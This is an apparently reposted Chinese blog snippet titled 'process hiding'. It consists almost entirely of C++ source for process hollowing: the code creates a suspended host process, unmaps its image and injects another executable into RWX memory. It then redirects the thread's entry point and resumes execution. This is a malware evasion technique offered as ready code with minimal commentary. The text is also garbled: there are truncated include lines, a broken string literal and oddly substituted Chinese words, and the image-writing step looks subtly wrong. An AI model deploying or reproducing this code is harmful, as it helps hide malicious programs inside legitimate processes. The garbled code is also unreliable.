进程隐藏
// 进程隐藏1.cpp : 界说控制台应用程序的入口点。
//
- #include "stdafx.h"#include #include "PeTool.h"typedef NTSTATUS(WINAPI *ZwUnmapViewOfSectionProc)(HANDLE ProcessHandle, PVOID BaseAddress);//1.已挂起方式创建一个傀儡进程//2.获取傀儡进程上下文情况//3.获取傀儡进程的ImageBase(context.ebx+8)就是imagebase//4.卸载傀儡进程的ImageBase ZwUnmapViewOfSectionProc函数卸载映射内存(mapview)但是要自行在ntdll.dll中寻找//5.读取真正的文件到内存//6.申请一块内存到指定位置//7.贴图//8.修改程序入口点(线程上下文情况)//9.规复执行int main(){ STARTUPINFOW si = { 0 }; si.cb = sizeof(STARTUPINFOW); PROCESS_INFORMATION pi = { 0 }; CreateProcess(TEXT("C:\\1.exe"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, TEXT("C:\"), &si,&pi); HANDLE hThread = pi.hThread; CONTEXT context = { 0 }; context.ContextFlags = CONTEXT_FULL;//除了浮点,DB寄存器全都要 BOOL IsGet = GetThreadContext(hThread, &context); if (!IsGet) { printf("没有获取到上下文情况\r\n"); return 0; } printf("%x %x\r\n", context.Eax, context.Ebx); DWORD ProcessImage = 0; BOOL IsRead = ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &ProcessImage, 4, NULL); if (!IsRead) { printf("没有读到ProcessImage\r\n"); return 0; } HMODULE HNtMoudele = GetModuleHandle(TEXT("ntdll.dll")); ZwUnmapViewOfSectionProc zvosp = NULL; zvosp = (ZwUnmapViewOfSectionProc)GetProcAddress(HNtMoudele, "ZwUnmapViewOfSection"); NTSTATUS IsZw = zvosp(pi.hProcess, (PVOID)ProcessImage); if (!IsZw) { char *Imagebase = NULL; int FileSize = FIleToMemory("c:\\xxxx.exe", &Imagebase); printf("%x\r\n", FileSize); PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)Imagebase; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD)pDos + pDos->e_lfanew); DWORD OpenPorcImageSize = pNt->OptionalHeader.SizeOfImage; printf("%x\r\n", OpenPorcImageSize); PVOID pNewProcess = VirtualAllocEx(pi.hProcess, (LPVOID)ProcessImage, OpenPorcImageSize,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pNewProcess) { printf("内存申请失败\r\n"); return 0; } printf("%x\r\n", (DWORD)pNewProcess); SIZE_T SizeOfWirte = 0; BOOL IsWrite = WriteProcessMemory(pi.hProcess, (LPVOID)ProcessImage, Imagebase, OpenPorcImageSize, &SizeOfWirte); if (!IsWrite) { printf("内存写入失败\r\n"); return 0; } printf("%x\r\n", SizeOfWirte); //修改程序入口点(线程上下文情况) context.Eax = pNt->OptionalHeader.AddressOfEntryPoint + (DWORD)pNewProcess; SetThreadContext(pi.hThread, &context); //规复执行 int i = ResumeThread(pi.hThread); } getchar(); return 0;}
复制代码
来源:https://blog.csdn.net/u013982117/article/details/112009442
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |